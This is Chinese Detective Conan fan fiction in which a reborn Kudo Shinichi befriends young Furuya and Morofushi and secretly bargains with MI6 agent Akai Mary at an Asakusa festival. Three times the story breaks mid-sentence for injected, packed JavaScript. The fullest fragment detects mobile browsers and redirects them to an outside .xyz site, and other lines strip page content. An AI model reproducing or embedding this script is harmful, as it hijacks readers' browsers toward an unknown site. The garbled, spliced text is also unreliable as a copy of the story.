他现在忽然有种恍然回到上辈子的感觉。上辈子他和赤井秀一、降谷零共同遇见危险时,一般也都是这个流程:混战、被降谷先生扔出战圈、两个大人三下五除二打完收工。但那是因为当时赤井先生和降谷先生都是战斗力爆表的大人而他外表上只是个七岁小孩,两个大人对“不让他出头”这件事上向来达成惊人的一致。 现在呢?虽然他现在也不强壮(其实是瘦弱),但和现在的赤井秀一降谷零相比也没差太多吧?而且,为什么景光也参与进去了啊! “耶!”诸伏景光高兴地和降谷零击掌。 工藤新一不再胡思乱想,顺手把胸口的药盒塞回衣服里,走上前:“你们怎么样?受伤了没?”说罢就拽着诸伏景光转了一圈,又仔细看了看降谷零。 两个人虽然都脏兮兮的,但是万幸,除了些擦伤,基本无恙。 “休斯哥哥,”检查完他们两个,工藤新一转而面对赤井秀一,喊着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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工藤新一没有回避这个敏感话题。刚刚那些霸凌者侮辱降谷零时,其实没有明确地说“因为你长得不像日本人所以我要霸凌你”,他们的霸凌是纯粹的恶意,外貌只是动手的借口。 但降谷零当了真。他没觉得这群霸凌者脑子有问题,自己也觉得自己肤色发色异于常人是“不正常”的。这显然是观念教育的缺失。 曾经的、幼时的降谷零没机会得到正确的肤色认识引导,身边唯二的正面情绪来源大概是宫野艾莲娜和诸伏景光。可惜宫野艾莲娜没过多久就进了组织,诸伏景光刚开始的精神状况比降谷零糟糕百倍,等到他能对降谷零有正确的干预,两个少年已经脱离了那个懵懂的年纪,降谷零不需要别人告诉他也知道所谓肤色霸凌都是借口。但那是理性的认知,而童年的创伤不会因为理性认知而淡化消除。 工藤新一现在甚至怀疑,降谷零之所以那么热爱国家、有那么浓厚的民族认同感,多少和童年这种创伤有关。 降谷零低下头,把雪糕棒收好,双手扣住长椅边缘,小腿晃来晃去:“……嗯。” 诸伏景光不理解:“可是,zero的发色和肤色多好看啊,特别是头发,金灿灿的,看着就很舒服。” 工藤新一说:“这是正常人、有良知有道德的人的想法,景光。” 至于人渣的逻辑,善良的人向来不理解。他希望景光永远不理解。 他停顿了一下,提醒诸伏景光:“你不是要送给零君一个礼物吗?” 诸伏景光点点头,然后连忙拉开衣兜的拉链,拿出那个包装纸有些褶皱了的礼品袋。“zero,给你的。”他递过去。 降谷零眼睛亮了一下:“我可以拆开吗?”得到许可后就马上小心地把那朵向日葵从礼品袋里拿了出来。 向日葵挂件绣的不算精细,胜在色彩鲜艳。金色的花瓣在阳光下栩栩如生。诸伏景光说:“这个向日葵长得很像zero。” “我?”降谷零张张嘴。 工藤新一点头:“确实,不论是外貌上还是性格,零君都很像向日葵。”不论是现在的,还是以后或者说以前的。 积极,向上,充满活力。 “零君,”工藤新一拍拍他的肩膀,示意降谷零看着他,“肤色和发色不是你的错,问题的根结不在这里。你不能因为他们人多、声音大就认为他们说的是对的*,也不能因为他们说的错误的话,而左右你的思想和判断。” 降谷零似懂非懂。 “简单来说,”工藤新一也觉得这话也许过于深奥,“他们只是把肤色当做欺负你的借口,这本身就是错的,跟你是否是日本人、外貌是否‘正常’没有任何关系。你不需要为此解释。” “新一这话说的像高明哥。”诸伏景光小声说。 微风吹起少年人的发丝,卷起盛夏燥热的气息。工藤新一安静地等降谷零咀嚼这些话,不催他,也没有再深入地说。直到降谷零犹豫地问他:“我不需要解释?” “对,”工藤新一说,“你没有错。” “解释也没有用。”诸伏景光鄙夷地说,“zero刚开始都没有主动攻击,他们根本听不进去解释。” “哦。”降谷零似乎明白了什么,工藤新一见状,站起身:“好了,不想那些事,我们去玩吧!” “对了,新一君,你刚刚那个足球是哪里来的啊?” “啊,那个啊,额,哈哈,就是……” 19. 一语 另一边,赤井秀一回到酒店,务武迎上来。 “怎么样,秀一?没遇上——”男人目光倏地一沉,落在少年外套的褶皱与星点泥渍上,“你打架了?” “算不上。跟艾莲娜姨妈那边的事也没关系。”赤井秀一把鸭舌帽随手搁在玄关柜上,整个人倒进扶手椅里,椅背发出一声微不可闻的叹息,“别太风声鹤唳,老爸。路见不平帮了一把而已……” 赤井秀一阖眼,脑海却不受控地闪回—— 那个在宫野诊所附近的金发小子,和那两个在事故现场的男孩,他们四个今天又恰好遇见? 这是不是有些过于凑巧了。 “你想到了什么?”赤井务武倒了杯牛奶递给长子,随后坐在他旁边。 赤井秀一喝了口牛奶,唇边一圈奶渍被他自己舔干净,看上去奇妙地显得很乖:“嗯……一些巧合。” “世界上不存在巧合,秀一。”浴室门开,赤井玛丽的声音裹着水汽先一步抵达。她边走边用毛巾揉着湿发,发梢的水珠滚落,在木地板上敲出细碎的鼓点。浴袍的腰带勒出她利落的腰线,像一把收在鞘里的软剑。她停在两人面前,居高临下地看着长子,眼神冷静得像刚校准过的瞄准镜。 “——特别是在我们这个职业的世界里,任何‘巧合’都可能是致命的。你发现了什么?” 赤井秀一看起来若有所思,但青春期的男孩子是不会承认自己“受教了”的。他端着玻璃杯,灵活地蹬腿把鞋子蹬掉,盘腿坐在椅子里:“是几个小孩。” “昨天晚上我和爸还有秀吉去买东西,恰好遇到了肇事逃逸,这件事妈你肯定知道,”赤井秀一看着玛丽,两双像极了的绿色眼睛对视着,“我们遇到了两个小孩子,大概比秀吉大些。其中有个小鬼很敏锐,之后也一直在带着他的同伴和我们俩说话。” “那孩子很聪明,很成熟。”赤井务武补充。 “现在想想,那个叫‘新一’的男孩好像一直在问我们的信息……不过我觉得还是更像小孩子没有边界感的好奇心。”赤井秀一给出自己的判断。 赤井玛丽停下擦头发的动作:“他都问了什么?” “没问什么特殊的。就是些‘我们是哪里人’,‘来东京干什么’这些事。” 赤井务武没插话,从抽屉里拿出吹风机,站到妻子身后。他撩起她湿漉漉的铂金色发丝,暖风呼地一声涌出来,像一条柔软的河。金属风筒的嗡鸣立刻填满客厅,灯光好似被吹得微微晃动。 “秀一的警惕性你清楚,”务武的声音混在风声里,低沉而笃定,“他不会透露什么关键信息的。” 赤井秀一却皱了皱眉,指尖在膝盖上敲了两下,像在数拍子。 “可我怀疑——”他抬眼,目光穿过父亲的手臂与母亲的发丝,“那小鬼已经知道我们住这家酒店了。我当时……反应可能有些不对。” “小孩子,未必是有意套话。”务武安慰道,手指替妻子梳理湿发,指缝间闪着水光。 “什么?”赤井玛丽把丈夫挥到一边去,吹风机声音太大,吵得她听不清儿子说话。赤井务武指尖一压,吹风机的嗡鸣戛然而止,残余的热风在空气里打了个转,归于死寂。 “他们三个当时正准备跟一群挑事的男生打群架。”赤井秀一靠在椅背里,指节无声地摩挲着扶手,“我刚从诊所出来,顺手帮了一把。” 他抬眼,看见母亲瞳孔深处那一点担忧。 如果纯粹用理性推演,那一刻最明智的选择应是冷眼旁观,然后迅速抽身——把诊所连同它暗藏的漩涡一起甩在身后,像甩掉一粒无关紧要的尘埃。 可惜,倘若真能袖手旁观,他便不是赤井秀一了。 “又撞上了,地点还那么敏感。” 赤井秀一抬起眼:“还有件我无法确认的事。” 他的记忆定格在混战中的一瞬——工藤新一被拽得领口歪斜,一个网兜从衬衫里甩出来,在空中划出短短的弧。网眼间隐约露出方形的棱角,颜色、尺寸,都与“那件失踪物”过于相似。 赤井玛丽的呼吸在胸腔里停了一拍,下一瞬又恢复精密仪器的节奏。 “你能肯定?”她问,声音低得几乎擦过耳膜。 “我不能。”赤井秀一冷静地说。 “好。”赤井玛丽思考一会儿,对丈夫说,“你觉得呢,务武?” “有一定可能,但太匪夷所思。首先,根据我的观察,昨天晚上我们和那一大家子遇上是因为他们昨天刚刚露营回来,因为其中的一位年轻人是昨天发生的一起案子的重要证人所以开车去警视厅,有相当正当的理由经过那里。其次,昨天要不是有个肇事逃逸的犯人,我和秀一秀吉不会与他们有接触。最后,那个盒子并不算特殊,特殊的只是上面的刻字和突然消失,秀一眼力虽然很好,但既然在网兜里又是高速运动过程中看到的,应该看不清刻字吧。所以我倾向于,最可能的疑点不是盒子,而是他们恰好出现在诊所附近这一点。”赤井务武举着吹风机,晃了晃。 赤井玛丽点点头,务武就继续安静耐心地给她吹头发。她沉吟片刻:“不管怎样,这个酒店不要再住了,收拾一下,我们去艾莲娜家。” 随后,她拿出手机,给那位“神秘先生”发送邮件。 “APTX-4869是什么?你是谁?” 对面很快回信。 “是魔盒,是薛定谔的猫,假如你愿意赌一把,与我合作、相信我一点,它就永远不会问世。敝姓江户川。” “怎么合作?” “如果你愿意,后天晚上八点,去浅草寺的签文摊吧。明后天两天,你大可以安排人手排查盯梢,以示我的诚意。我想,鸟矢酒店离那不算远,是吧。” 江户川·工藤新一悄悄关掉手机,踮脚扯了扯正低头排行程的诸伏英拓:“英拓叔叔,后天晚上我们去浅草寺吧,我想求签!” 英拓一愣,没料到这么丁点儿大的孩子竟主动想去寺庙。转念想到恰逢夏日庙会,灯火与糖苹果的味道会铺满整条集市,也就了然,却仍俯身提醒:“可我们没带和服,只能穿便装去喽。” “没关系呀!”男孩晃了晃脑袋,额前的碎发跟着跳。 “那就说定了。”诸伏英拓笑着揉了揉他的发旋,“后天晚上去浅草寺。我让景光再问问降谷君,那孩子和他投缘,人多更热闹。” “好——!”尾音脆生生地扬起。 第三日傍晚七点,晚霞还没褪尽,雷门大灯笼已亮成一片温柔的橙。诸伏一家四口加上临时加入的降谷零,踩着木屐声与蝉鸣往浅草寺走。风掠过檐角铜铃,叮叮当当,像在催促夜色快点降临。 “既然来了,就好好参拜,再抽个签吧。”诸伏加奈拍拍长子高明的肩,目光滑过四个小脑袋,“你们几个一起去。” 高明点头,领着三个弟弟跨进本堂。朱红柱子在灯火里泛着温润的光,香火缭绕,像一条缓缓流动的河。工藤新一排在最前,双手合十,神情专注得像在拆解一枚精密炸弹。摇铃、参拜,一丝不苟。 这倒并非是信不信的关系,只是……他的心。 我希望这世界上所有好人都能得偿所愿、所有恶人都能改邪归正,所有苦难都能平安度过,所有幸福都能光彩耀目。 我知道我太过理想主义,但我想这世界没有邪恶,没有人为了一己私欲去夺取别人的美好,我希望这世界有遗憾、有落寞,但不要是悔恨和寂寥。这不可能,我知道,但我为此而努力。 “新一,快过来抽签!” 朱红灯笼下,诸伏景光踮着脚朝他挥手。男孩衬衫雪白,领口端端正正,像刚从某个小型典礼溜号而来,笑容却干净得毫无杂质。 工藤新一轻轻应声,小跑两步,鼓囊囊的背包在背后一颠一颠。他把手插进口袋,指尖碰到那张早已写好的纸条——折得极细,纸张边缘因汗水微微发软。今天,它必须神不知鬼不觉地躺在该去的地方。 四个孩子排成一列,齐刷刷站在佛前。签文筒被僧人抱在怀里,乌木温润,铜箍在灯火里闪着暗金色的光。轮到工藤新一时,他双手合十,像所有虔诚的香客一样低头行礼,却在接过签筒的刹那,手腕轻轻一抖——指腹一弹,纸条便像一条细白的小蛇,悄无声息地滑进了木窗缝隙。 做完这些他才放心地抽签。工藤新一闭上眼睛,心想,如果这签文真的预示未来,那也请告知我我们的未来吧。 即使只是个心里安慰也好。他不排斥这种动力,无论签文吉凶。 签筒轻晃,签枝哗啦。 忽然,“嗒、嗒”两声轻响,签口竟同时吐出两根木签。僧人微怔,低头看去:一根刻着“陆拾陆”,另一根却光滑无字,像被月光磨平了棱角。 “怎么了?”降谷零扒在台边,紫灰色的眼睛亮亮的,声音压得低却掩不住好奇。 僧人没答,只抬眼深深看了工藤新一一眼,转身自签架上抽出四张正式签诗,又折进帘后,取出另一张薄纸。 诸伏高明、景光、降谷零各得一张,工藤新一手上却多了两样:一张第六十六号签,以及—— 一张无序号、无签诗,却带着淡淡檀香的字条。 【去日犹今日之未至。】 工藤新一愣了一下,捏着纸条的手无意识地收紧了些。“去日犹今日之未至”……什么意思?如果“去日”是说他的过去,那就是上一世,“上一世是这一世的尚未达到”? 他摇摇头,感觉自己有点着相了,把那张字条放在衣兜里,转而看起那份正常的签文。 「第陆拾陆签·凶」 【鹿走白云间,携琴走远山。升头看皎月,风起浪未波。】 “凶!” 朱红的墨迹像一滴未干的血,诸伏景光的手指僵在半空,他盯着那张签纸,仿佛下一秒“凶”字就会跳下来咬人。 工藤新一却只是耸耸肩,把签文随手折成一条细长的船:“谁的未来会一路顺风?看看你们的。” 诸伏景光抿了抿唇,小心展开自己的签。 末小吉。 墨色末尾写着一句诗——“杯酒掩青阳”。他轻声念完,眉心立刻蹙成一条细细的褶:“听起来就像要把太阳藏进酒杯里,好危险……我不想那样。” 降谷零也展开签纸——一样的末小吉,配着一句更冷的判词:“事道生荆棘,车行峻岭危。” 他垂下睫毛,紫灰色的眸子被灯火映得发暗,声音低得几乎听不见:“好像……说我以后一定会失去什么人。” 诸伏高明的签文是个小吉,也许是他的三个弟弟实在把霉运都挖走带脑袋上了,他这签中规中矩的好——大概意思就是前途波折,却能直挂云帆。他妥帖地把签文收好,然后跟景光和零说:“签文只是个指引,信则有不信则无。” 诸伏英拓笑着说:“高明说的对。签文不是预言也不是诅咒。你们可以试试从签文里看出破解困境的出路。人生路上会遇到各种各样的困境,这签文所说的困境只是其中的一道。因此你不能说它准或不准,它是一个道理,道理总是有用的。” “可是道理也不一定都是正确的。它不一定是真理,也不一定有用。”诸伏高明说。 诸伏英拓说:“道理当然不一定都能用的上。签文传承了几百年,总有些落后的文字和过时的道理。但这要看你怎么看它。如果它是对的,那为何不站在巨人的肩膀上,为自己规避一堵南墙?如果你认为它是错的,那你就要自己思考,什么是对、什么是错、什么时候对、什么时候错。这怎么不算是一种‘有用’?就像你自己说的,它只是指引。” 诸伏高明抿抿唇,半晌,说道:“我知道了,爸。” 在场只有两个真小孩听得似懂非懂,但都仔细地把自己的签文收好,诸伏加奈拍拍景光的发顶,活跃了一下刚刚有些沉闷的气氛:“好啦,大家去逛庙会吧,别跑太远,你们三个要跟着哥哥哦。” 景光像条小鱼从她指缝里溜走,左手抓住降谷零,右手牵住工藤新一,脆生生地应了一句“知道啦——”,便拖着两人冲向最近的水球摊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赤井玛丽轻轻拍了拍儿子的肩膀,少见地流露出了些母性的温情。 “别怕,秀一。”她说,“定位器、窃听器和通讯设备都在你身上,如果有危险,爸爸妈妈很快就会来救你。你要机灵点。” 赤井秀一点点头。 为了不引人注目,玛丽像一位寻常的游客般随便转了转,发现没什么异样,才领着大儿子来到了之前邮件里提到的接头地点。僧侣大概是不知情的,赤井玛丽借着抽签的机会,在签文屋的窗框缝里找到一张卷起来的纸条。 纸条褶皱却痕迹尚新,赤井玛丽目光暗了暗,把纸条拿好,然后自然地接过僧侣递来的签文,随手把签文递给了秀一。 灯影稠密的摊子背后,母子俩拐进一间人声鼎沸的小食店,点了些关东煮之类的小玩意。坐定后,赤井玛丽才打开纸条。 纸面极薄,墨迹却深,一笔一划锋如刀刻—— “双镜湖。”赤井玛丽默念。然后把纸条给赤井秀一看了一眼,随后撕成碎屑,销毁在了一杯刚买的热茶里。 “你就在这里等妈妈,秀一。”她不容置喙地说,“按照我们之前说好的办,这不是儿戏。你有天赋,但缺少经验,一定听我的。” 赤井秀一手里还攥着刚刚玛丽的签文,认真地说:“我会的,一有情况就联络你和爸,绝对不擅自行动。” 他热血,他年轻,他叛逆,但他有自知之明,也拎得清轻重。 “好。”赤井玛丽整理了一下儿子的衣领,把伪装用的小皮包也撂下,头也不回地走出店门,走向了纸条上的双镜湖。 双镜湖畔,万籁俱寂。 风掠过水面,掀起一圈圈碎银般的涟漪。赤井玛丽缓步靠近,脊背微弓,脚步落在草茎与砂砾之间,没有惊起一只夜蛾。云层恰好游过月轮,湖面瞬间黯淡,像被谁熄了灯。 似乎没什么危险。赤井玛丽微微活动了一下手腕和肩膀,站定,目光穿过朦胧的雾,锁定湖边一丛暗影。 “既然来了,何不一见。江户川先生?”她说。 灌木丛窸窣一响,一道人影自长椅后起身。夜露微潮,他的衬衫与外套略大一圈,折痕在月光下像被揉皱的锡箔。 他向前五步,站定,鞋底碾碎一片枯叶,声音轻得像风折了翅。 “晚上好,玛丽女士。” 那声线太干净,甚至带着少年人刚变声后的微沙。赤井玛丽眉梢一挑——资料里的“江户川先生”至少该与自己同辈,可眼前这人,声音有些太年轻,说是二十都有些勉强。 “江户川先生”——正是服下解药、披着诸伏英拓外套的工藤新一——他用口罩掩去半张脸,只露一双澄澈而过分镇静的眼睛,直视着赤井玛丽。他说:“我想,这附近没有MI6的人。” “有一个,正站在你面前。”赤井玛丽干脆地说。 “你有什么想知道的吗?关于我?”工藤新一也直截了当地说。他的借口不支持他耽搁太久,否则诸伏家和零君会担心的。 在这种情景下,再提问的人会稍显被动,但赤井玛丽选择提问:“你是哪一方势力的人?” 工藤新一轻笑,嗓音在口罩里发闷:“我站在正义的一方——或者说,黑衣组织的绝对敌方。” “黑衣组织”四个字一出,赤井玛丽显然更严肃了些。没等她说什么,工藤新一又抢先一步:“你还想知道我的情报来源、我为什么要与你合作,对不对?这些我都可以告诉你实情,”——只是不会全说——“我只想要你一个承诺,绝对在你的原则以内。如果你同意,我马上知无不言。” 月光飘飘忽忽地从云隙间倾泻下来,映得工藤新一湛蓝色的眼眸显得更加透亮真诚。赤井玛丽看着面前这个清俊的年轻人——他一只手放在裤子的口袋里,另一只手放松地搭在体侧,姿态自然,似乎毫无压力。面上的口罩遮住了他大半张脸,可只是那双眼睛就已经足够惊艳,足够赤诚。 她多疑,但眼力同样毒辣——她敢信他。江户川先生身上的气质很干净,那是游走在黑暗里的毒蛇们伪装不出来的、光的感觉。 更何况,赤井玛丽身上的血是带着疯、骨头是藏着狂的。 女人扬起头颅,直视着工藤新一的眼睛—— “好啊,什么承诺?” 20. 成谶 夜风卷着残樱掠过檐角,灯笼的红光在两人之间投下一层薄薄的血色纱幕。 工藤新一微微仰起脸,口罩掩去下半张脸,只露出一双清亮的眼睛。那双眼在灯火里弯成一道桥,像新月沉进湖心的倒影。他说:“您真是爽快,玛丽女士。” 他的声音被夜风削得极薄,却仍带着少年特有的清冽,一字一句落在青砖地上,像冰粒滚过瓷面。 “我要的承诺是——今日之后,您和您的丈夫赤井务武先生、以及您的两个儿子,都要咬定今天没见到我、已经与我失去联系,包括MI6在内,不能告诉任何人真相。” 赤井玛丽的嗓音低而凉,像一柄藏在丝绒鞘里的匕首:“只是这样?” “只是这样。” “可以。”赤井玛丽慢条斯理地摘下墨镜,折叠的镜腿在指间发出清脆的“咔哒”,碧绿的眼眸像狼王般闪着兴味。她微微一笑,那笑意却未达眼底。 严格来说,作为MI6的特工,她和丈夫在有关MI6情报的方面是不能藏私的。但她没有打算完全守约——至少现在没有。 作为MI6的特工,她比谁都清楚:情报世界的承诺从来只是可拆卸的零件,随时能换、能扔、能反咬。 要不要信守诺言,得看江户川先生接下来抛出的筹码,够不够重,够不够锋利。 工藤新一也知道这点。笑话,要是所有情报组织的特工们都这么轻易地许下承诺,他们还当什么特工?早该改行去当邮差。特工最不需要的品质就是对敌人诚实。 于是他说:“你会愿意守约的。” 赤井玛丽低低地笑了一声,嗓音里带着沙砾滚过玻璃的质感:“我拭目以待。” 工藤新一抬手,指尖在口罩边缘轻轻一刮,眼尾仍带着笑,接着说:“那么接下来,你想问我什么呢?” 赤井玛丽把墨镜挂在衣领上,直视着他,语调平稳:“你对黑衣组织了解多少?” “应该——”工藤新一微微侧首,一缕碎发滑下额角,掩住眸中刹那的锋芒,“比你们MI6多那么一点点。” “比如?” “比如……黑衣组织的‘业务范围’跨越了医药、du品、枪/械、传媒、IT、商会、政坛等,一些需要金钱的产业背后有乌丸集团的支持。还有就是,黑衣组织的高层都有代号,都是些酒的名字。如果我没记错,如今的一位很有权势的高层代号是‘朗姆’——RUM。” 这段情报的确真实,MI6已经获得了其中一部分。但关于朗姆这个人,赤井玛丽还是第一次听说。 她抱臂看着他:“Rum?” 玛丽的手臂在风衣里缓缓环起,抱胸的姿势看似从容,指尖却微微陷入布料。行为心理学里,这叫“明知故问”——可她的瞳孔在瞬间收缩如针,肩线也绷得极紧,像一头被迫暴露于月光下的兽,尾椎炸开看不见的毛。 工藤新一没有拆穿,接着说:“他就是那个导致白鸠制药倒闭的幕后黑手。”*(私设) “我需要知道你的情报来源。” 工藤新一笑笑,假装自己真是个情报贩子:“你不能夺了我的饭碗啊,特工女士。” 赤井玛丽冷笑:“你也不是靠这个过活吧。” “好吧,”工藤新一摊了摊手,“再庞大严密的组织也会有漏洞。据我所知,组织内部应该已经有一些咱们的卧底了。” “咱们?” 工藤新一用夸张的语气问她:“你也不会以为只有MI6一家就能端掉整个组织吧?” 他微微侧头,眼尾弯成狡黠的弧。 赤井玛丽也知道这事不是一个英格兰就能办成的,只是她觉得,面前这位年轻人说话的口吻很耐人寻味。 ——他好像已经,把MI6、FBI、CIA甚至更多无名势力全都装进同一个口袋,然后轻巧地打了个结。 “最后一个问题。”赤井玛丽说,“关于我的妹妹和妹夫。” 夜风忽然收住了声势,檐角最后一瓣樱花无声坠落,像谁按下了世界的静音键。 来了。 工藤新一在心底无声地吐出这两个字。 今晚所有铺垫、所有迂回,都是为了此刻。 他脊背一挺,肩线收拢,像一把折刀“啪”地合拢,所有少年人的轻佻与玩笑在这一刹那被收得干干净净。口罩下的呼吸沉而缓,热气在棉布上晕开一层雾,又被迅速冷却。 “刚刚咱们都在打机锋,谁也没必要说谁。但下面我说的,我可以保证没有半句虚言,赤井玛丽女士,为了你妹妹一家人,你也要相信我。” 赤井玛丽狐疑地看着他。 她维持着抱臂的姿势,指尖却无声地收紧,风衣布料被攥出细微的褶皱。时间被拉长成一条冰冷的丝线,坠着两人的对视—— 一秒、两秒、三秒。 最终,她极轻地颔首,像某种古老契约的落印。 “说。” “宫野夫妇有极高的药学研究天赋,并且恕我直言,他们对药学研究太过纯粹,有时甚至会忽略一些普世的伦理因素,这也就是组织找上他们的原因。”工藤新一说,“几个月前,乌丸集团已经向他们抛出了橄榄枝。但是现如今你我都知道,乌丸集团只是一个幌子,真正向他们发出邀请的是组织。” “黑衣组织实际上已经建立了很长时间。从上世纪起,很多大事件的背后就有他们的影子。你有没有想过为什么乌丸集团要支持这样一个组织呢?只是为了用违法的手段去替集团铲除异己吗?” 赤井玛丽皱眉。 “他们最初的目的,是永生。” 工藤新一言尽于此。 半晌,赤井玛丽喃喃道:“而古往今来,达到永生的最接近的办法就是医学——制药。” “我明白了。江户川先生,我会遵守我的承诺。”赤井玛丽把墨镜戴上,向前一步伸出手,“合作愉快。” “当然。”工藤新一也向前一步,握住她的手。 月光渐渐明亮起来,赤井玛丽看着眼前的年轻人,几乎觉得他周身都散发着月光般的纯粹高洁。她放下手,转身走出几步,才回头说:“也许我们可以保持这种合作。不过,帮我妹妹一家脱离魔窟到底对你有什么好处?” 工藤新一一愣,抬头看了看月明星稀的夜空:“那本身就是我要的结果。你忘了吗?我可是站在黑衣组织的绝对对立面。可惜我人微言轻怀璧其罪,只好设个套,让MI6的特工们帮我实现愿望咯。” 赤井玛丽罕见地笑了一下,郑重地说:“谢谢你。”随后转身离开了双镜湖边。 “不,也许是我谢谢你。”工藤新一小声对自己说。 总而言之,这一场谈判,宾主尽欢。 赤井秀一仍然待在那家小食店里,有一搭没一搭地嚼着零食。他混血的俊俏样貌实在很瞩目,因此一直戴着兜帽,努力把自己隐没在人群中。 近一个小时没有任何异状,他紧绷的心神却丝毫不敢松懈。此时电话突然的振动像是个突然发癫的闹钟,几乎把他吓到了。 赤井秀一看着电话上大写的“M”,有些唾弃自己刚刚像个惊弓之鸟的样子。 “喂?” “可以出来了,秀一,没有问题。妈妈马上就到。”赤井玛丽的声音极具安全感地传来。 “好的,妈妈。”赤井秀一收起桌上展开的签文,从吧台的高脚椅上跳下来,走向店铺斜对面的树下去等——那是他们约定好的集合地点。 一个狂奔的身影与他擦肩而过。 赤井秀一的目光像一把被风掀开的刀,在熙攘人潮里倏地亮了一下—— 他看见那个穿着宽大衣物的年轻人脖子上挂着个眼熟的网兜,在跑步间不经意地晃出了衣领。像一条从深海浮上水面的鱼,尾鳍沾着冷光。它晃动的频率、织法、甚至因为汗湿而微微收紧的弧度,都与那孩子脖颈上那截如出一辙。 那人戴了鸭舌帽和口罩,穿着宽大的深蓝色外套,似乎还穿了一双不大合脚的鞋。就这么风风火火地跑进了公共卫生间。 “世界上不存在巧合。”玛丽的声音像一枚冷钉子,咚地钉进他耳蜗。 人潮涌动,庙会灯笼的红光在赤井眼底碎成一片火星。他拇指一拨,电话贴耳,脚步已无声地滑出三步,像猫科动物追踪一缕气味。 “秀一?怎么还没过来?”玛丽的声音从听筒里传来,带着一点庙会远处太鼓的余震。 “我没事,我只是想去一次卫生间。”赤井秀一回答,“我又看见了一个巧合,我想去看看。远远的。” 经过刚刚的接触,赤井玛丽现如今也不担心江户川先生会“安排人暗地放冷箭”了,也就继续她的放养政策:“快去快回,我在原地等你,有危险立刻离开。” “收到,妈妈!” 赤井挂断电话,身形一闪,藏进厕所外墙与一棵老樱树之间的暗影。 他眼见着那个可疑的年轻男人进入了卫生间,十五分钟过去,却仍没有见到人出来。 第十七分钟,一个眼熟的人倒是从里面走出来了——工藤新一。 赤井的瞳孔在暗处收缩成针尖。那孩子额发湿漉漉地黏在鬓角,领口那截网兜依然在他脖颈上,衣服都皱巴巴的,像是刚刚从哪里掏出来。 他深吸一口气,让呼吸与鼓声同步,然后才迈步,装作偶遇的样子:“你好,你是不是之前那个……公园里的男孩?” 工藤新一刚刚吃下APT ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137897|180325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' X-4869、换好小孩子的衣服,刚出门气都没喘匀,就被赤井秀一堵了个正着。 他吓了一跳,不过想到赤井玛丽的作风处境,似乎带着赤井秀一来也正常。现下被拦下也没办法,他只好装出一副惊喜的模样:“你是……休斯哥哥?” 赤井秀一这次没忘记自己在这男孩面前编的假名:“是我。你也来逛庙会?” 工藤新一继续装无辜:“是啊是啊,我们过来玩,休斯哥哥要不要一起?景光和零君也在,我还可以给你介绍高明哥!上次在车祸那里你们都没太说话呢。” 赤井秀一的目的只是探查,一点都不想耽搁太长时间去“认人”。他装出一副为难的样子,掏出手机:“可我要回家了。咱们能在这里遇见实在有缘,要不这样,我们加一下手机号码?” 工藤新一差点笑场:有缘?主动要电话号?换伏特加来他都得觉得赤井秀一不对劲。 他忍住了笑意,既是着急离开,也懒得再探究赤井秀一的心思——反正他又不会害自己——直接要了他的手机号码播出去。 赤井秀一看着屏幕上显示出的一串陌生号码,心满意足,却装出一副着急的模样:“我和我妈约的时间快到了,那我们回头联系?上次车祸事件,你反应那么快,我弟弟很崇拜你呢。” 要是真这样,你上次在公园里见义勇为时就能要手机号了。工藤新一内心吐槽,面上仍陪着他演:“快去吧快去吧,拜拜休斯哥哥!” 赤井秀一估计发现了点什么,不过问题不大——工藤新一捂着还有点隐隐作痛的心脏,马不停蹄地跑向诸伏一家所在地——本来也没打算向他们过分隐瞒,不过赤井先生这样……大概是我之前露了些别的马脚,被他发现了。 ——但还是先别纠结这个了,得赶紧往回赶,不然我那借口真要撑不住了。 工藤新一吐槽自己也毫不留情。 早知道就跟高明哥说我先回酒店了,上厕所这种借口实在太烂了!幸亏堵我的不是高明哥。 “新一君——这儿!” 降谷零的声音像一道橙黄的灯火,在熙攘人海里劈开一条缝。工藤新一踩着最后的喘息冲过去,汗珠顺着鬓角一路滑到下巴,啪嗒一声砸在鞋面。 诸伏加奈迎上来,掌心贴住他的额头,温度与担忧一起覆上来:“怎么满头汗?是不是跑岔气了?” “迷、迷路了。”工藤新一一边喘一边摆手,谎话说得比呼吸还顺畅,“庙会太大了,绕了三圈才找回北。” 降谷零眼睛却忽地亮起星子,一把抓住他的手腕:“应验了应验了!我就说我的签文不会骗人!” “什么跟什么……”工藤新一满脸写着茫然。 诸伏景光笑着把折得方方正正的签纸递到他鼻尖前,纸角还带着淡淡的线香味道。白纸黑字,墨迹微晕—— 「第贰拾贰签·末小吉」 【事道生荆棘,车行峻岭危。香前祈福愿,方得免分离。】 “你看,”景光用指尖轻点最后一句,“‘方得免分离’——zero原本要‘分离’的人是你呀。可我们去香炉前祈愿了,所以你就被‘牵引’回来了。” 降谷零在旁边一个劲点头,金发被灯笼映得像一簇小火苗:“我还特地多磕了三个头,额头现在都红着呢!” 工藤新一哭笑不得:这签文分明是劝人谨慎行事、祈神免灾,哪能被他们解成“把走丢的小朋友一键召回”?可当他抬眼,看见降谷零眉梢眼角藏不住的雀跃,看见景光温柔到几乎能淌出水的目光,心里忽然就软了下去。 “怪不得,”他弯起眼睛,把签纸折好递回去,“我说怎么在巷子里突然脚下一拐,像有根线把我往回拉。原来是零君和景光的祈福,谢啦。” 降谷零得意地晃了晃拳头:“下次你再迷路,我们多烧两柱香,保准十分钟内把你‘宅配’回来。” 